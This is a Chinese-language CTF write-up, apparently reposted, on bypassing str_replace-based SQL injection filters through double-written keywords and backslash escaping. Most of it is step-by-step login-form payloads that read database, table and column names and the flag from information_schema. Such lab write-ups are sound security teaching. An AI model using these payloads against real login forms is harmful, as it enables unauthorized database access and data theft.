当前位置: 首页 > news >正文

【str_replace替换导致的绕过】

双写绕过

请添加图片描述

请添加图片描述

随便输入一个
username=admin&password=s 没有回显测试注入点
username=admin' or 1=1%23&password=s 回显hello admin测试列数
username=admin' order by 3%23&password=s测试回显位
username=admi' union select 1,2,3%23&password=s 没有显示数据,推测可能是某些地方被过滤了使用之前学习的异或注入,测试过滤
username=admin'^(length('union')=5)%23 页面返回hello,admin 所以union被过滤测试select
username=admin'^(length('select')=6)%23 页面返回hello,admin 所以select被过滤尝试双写绕过
username=admi' uniunionon selselectect 1,2,3%23&password=s拿数据库名
username=admi' uniunionon selselectect 1,database(),3%23&password=s拿表名
username=admi' uniunionon selselectect 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23&password=s拿列名
username=admi' uniunionon selselectect 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'%23&password=s拿flag
username=admi' uniunionon selselectect 1,flag,3 from flag%23&password=s

反斜线绕过

请添加图片描述
请添加图片描述
我们通过在单引号前面再加一个反斜杠,把系统替换的反斜杠再次进行一个转译,前面的反斜杠把后面的反斜杠给转译,那么被替换后的反斜杠就失去了转译的作用,\反斜杠就相当于一个没有任何转译作用的反斜杠符号,通常用在文件路径中

请添加图片描述

这里注意数据库中没有admin\,所以返回的是空,这里注意之前的反斜杠被转译了,所以这里就表示admin\,同理我们用oder by 去排序的时候,返回的就为空,因为数据库没有admin\,什么都没有就不能排序,这里order by就不能用了:
请添加图片描述
这里就得换个方法,我们用select挨个试试,因为一般ctf题就没多少列数,直接猜两列,什么都没有:请添加图片描述
我们猜三列的时候就出现了,回显位是2:
请添加图片描述
下面就是拿表名,拿列名:

拿库名
username=adin\' union select 1,database(),3%23&password=s拿表名
username=adin\' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23&password=s拿列名 这里注意flag需要单引号,会被转为\'flag\' 这里单引号被转译,失去了单引号的作用,所以得用十六进制
username=adin\' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x666c6167%23&password=s拿数据 
username=adin\' union select 1,flag,3 from flag%23&password=s

这里我们用不了宽字节,是因为源码中没有设置gbk编码,所以无法宽字节绕过,这种考验技巧,实际不会出现,ctf题确经常出现,实际防御中可以用addslashes()这样就会比较安全,单引号和反斜杠都会转译

总结

双写绕过,str_replace只会执行一次替换

反斜线绕过,因为后台程序没有转义反斜线\, 可以通过输入一个反斜线\,转义反斜线\

对于str_replace替换导致的安全问题远不止这些,把union替换为i也会导致绕过

http://www.lryc.cn/news/464631.html

相关文章:

  • 如何用AI大模型提升挖洞速度
  • 两个数列问题
  • python中堆的用法
  • 轮班管理新策略,提高效率与降低员工抱怨
  • spring-cloud-alibaba-nacos-config2023.0.1.*启动打印配置文件内容
  • 数据结构:二叉树、堆
  • hi3798mv100 linux 移植
  • Docker-Harbor概述及构建
  • 部署项目最新教程
  • linux证明变量扩展在路径名扩展之前执行
  • CentOS 7.9安装MySQL
  • MacOS虚拟机安装Windows停滞在“让我们为你连接到网络”,如何解决?
  • 黑马程序员Java笔记整理(day03)
  • centos7更换阿里云镜像源操作步骤及命令
  • 冲刺大厂 | 一个线程调用两次start()方法会出现什么现象?
  • leaflet(一)初始化地图
  • Unity开发Hololens项目
  • 立志最细,FreeRtos的中断管理(Interrupt Management)函数,详解!!!
  • 作业2-线性回归的Matlab代码实现
  • 用jQuery在canvas上绘制绝对定位的元素
  • Android中 tools:text 和 android:text区别
  • Wordpress GutenKit 插件 远程文件写入致RCE漏洞复现(CVE-2024-9234)
  • Redis历史漏洞未授权RCE复现
  • Greenhills学习总结
  • 【深入学习Redis丨第八篇】详解Redis数据持久化机制
  • 【27续】c++项目练习
  • Lazarus Query转EXCEL功能
  • AnaTraf | 深入探讨DNS流量分析:保障网络稳定性的关键
  • P1017 [NOIP2000 提高组] 进制转换
  • 计算机网络—vlan(虚拟局域网)